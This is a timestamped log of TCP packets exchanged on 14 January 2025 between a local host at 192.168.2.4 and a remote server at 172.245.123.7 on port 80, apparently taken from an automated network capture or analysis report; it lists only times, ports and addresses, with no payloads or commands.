Jan 14, 2025 06:13:20.593782902 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593816996 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593848944 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593882084 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593883038 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593914986 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593926907 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593950033 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593981981 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593990088 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594016075 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594052076 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594057083 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594084978 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594116926 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594122887 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594150066 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594182968 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594188929 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594218016 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594249964 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594258070 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594289064 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594321966 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594355106 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594358921 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594388962 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594396114 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594424009 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594470024 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594667912 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594701052 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594747066 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594754934 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594788074 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594822884 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594830990 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594856024 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594890118 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594896078 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594922066 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594957113 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.594961882 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.594989061 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595021963 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595029116 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.595055103 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595088005 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595097065 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.595124960 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595159054 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595165014 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.595191956 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595225096 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595233917 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.595258951 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595292091 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595297098 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.595351934 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595386028 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595400095 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.595525980 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595558882 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595568895 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.595596075 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595628023 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595634937 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.595663071 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595712900 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595721006 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.595750093 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595783949 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.595789909 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.640755892 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.678931952 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.678978920 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679035902 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679037094 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679070950 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679105997 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679140091 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679189920 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679235935 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679235935 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679241896 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679276943 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679289103 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679366112 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679419994 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679425001 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679476023 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679510117 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679526091 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679546118 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679579020 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679593086 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679615021 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679655075 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679662943 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679708004 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679755926 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679764032 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679799080 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679831982 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679846048 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679867029 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679913044 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.679920912 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.679971933 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680006027 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680023909 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680058956 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680109978 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680109978 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680145979 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680180073 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680211067 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680213928 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680248976 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680263996 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680282116 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680316925 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680327892 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680352926 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680387020 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680397987 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680421114 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680449963 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680466890 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680483103 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680516958 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680531025 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680550098 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680583954 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680596113 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680617094 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680649996 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680661917 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680684090 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680717945 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680727959 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680753946 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680789948 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680804014 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680821896 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680859089 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680867910 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680891991 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680924892 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680937052 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.680958033 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.680990934 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.681003094 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.681025028 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.681058884 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.681070089 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.681092978 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.681127071 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.681138039 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.681159973 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.681194067 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.681205034 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.681229115 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.681276083 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686254978 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686270952 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686455011 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686495066 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686517000 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686532021 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686544895 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686558962 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686561108 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686574936 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686583042 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686589956 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686604023 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686614990 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686619997 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686635017 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686644077 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686651945 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686676979 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686677933 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686693907 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686701059 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686716080 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686728954 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686736107 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686754942 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686757088 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686769009 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686770916 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686786890 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686800957 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686808109 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686817884 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686832905 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686836958 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686847925 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686863899 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686872005 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686897039 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686903000 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686913967 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686938047 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686952114 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686954021 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.686969042 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.686995029 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.687079906 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687094927 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687108994 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687122107 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.687124014 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687141895 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687148094 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.687156916 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687175035 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687181950 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.687236071 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.687244892 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687259912 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687273979 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687288046 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687303066 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.687310934 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687334061 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687338114 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.687350035 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687365055 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687376022 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.687393904 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.687407970 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.721251965 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.721302986 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.721343040 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.721375942 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.721410990 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.721421957 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.721443892 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.721487999 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.721491098 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.721541882 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.766319990 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766393900 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766429901 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766462088 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766495943 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766547918 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766582012 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766586065 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.766586065 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.766619921 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.766639948 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766690016 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766722918 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766757965 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766799927 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766819954 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.766819954 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.766850948 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766856909 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.766885042 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766920090 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766933918 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.766953945 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.766988039 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767024994 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767030954 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767060995 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767112970 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767115116 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767148018 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767155886 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767180920 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767215014 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767221928 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767256021 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767302036 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767308950 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767384052 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767416954 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767450094 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767461061 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767483950 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767524958 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767524958 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767632008 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767642975 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767666101 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767709017 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767719030 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767750025 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767784119 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767796040 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767817974 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767863989 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767895937 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767906904 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767929077 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767961979 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.767975092 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.767995119 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768002987 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768029928 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768073082 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768093109 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768143892 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768176079 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768183947 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768210888 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768265963 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768306971 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768315077 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768347979 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768381119 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768393993 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768414974 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768425941 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768449068 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768484116 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768491030 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768518925 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768553019 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768564939 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768587112 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768619061 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768651962 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768662930 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768686056 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768718958 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768726110 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768754005 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768759966 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768789053 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768821001 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768837929 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768853903 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768887043 CET	80	49738	172.245.123.7	192.168.2.4
